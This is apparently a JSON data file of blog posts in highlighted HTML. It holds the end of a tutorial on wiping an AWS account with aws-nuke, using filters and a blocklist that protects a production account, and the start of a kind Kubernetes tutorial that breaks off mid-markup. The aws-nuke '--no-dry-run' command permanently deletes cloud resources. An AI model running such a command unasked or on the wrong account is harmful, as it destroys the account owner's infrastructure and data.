\u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can use that preset in our accounts configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"presets\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo your final config should look something like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eglobal\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccount-blocklist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efilters\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e_DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"presets\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhen you run this you should see now the resources we want to keep are filtered\nout:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiltered\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eby\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you are ready and have your filters in place you can run it for real!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws-nuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke.yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--no-dry-run\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eNext steps\u003c/h1\u003e\n\u003cp\u003eOne final note about it is that it does not understand the relationship between\nresources and so it could try deleting an EBS volume that is still in use by an\nEC2 instance.  There isn't a great solution for this outside of running nuke a\nfew times.\u003c/p\u003e\n\u003cp\u003eThe tool is well documented and so you can find the rest of information going to\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003ehttps://github.com/rebuy-de/aws-nuke\u003c/a\u003e!\u003c/p\u003e","category":"AWS","date":"2023-06-21T19:00:00-05:00","tags":["AWS","DevOps","SRE"],"title":"Wiping an AWS Account with aws-nuke"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kuberetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters while having the flexibility to use all\nthe features of kubernetes success as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnsuring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePreparing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📦\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eWriting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📜\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStarting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🕹️\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCNI\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🔌\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStorageClass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e💾\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enow\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyour\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster-info\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--context\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003equestion,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebug,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efeature\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequest?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eknow!\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ek\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em26s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMMAND\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:59327\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: 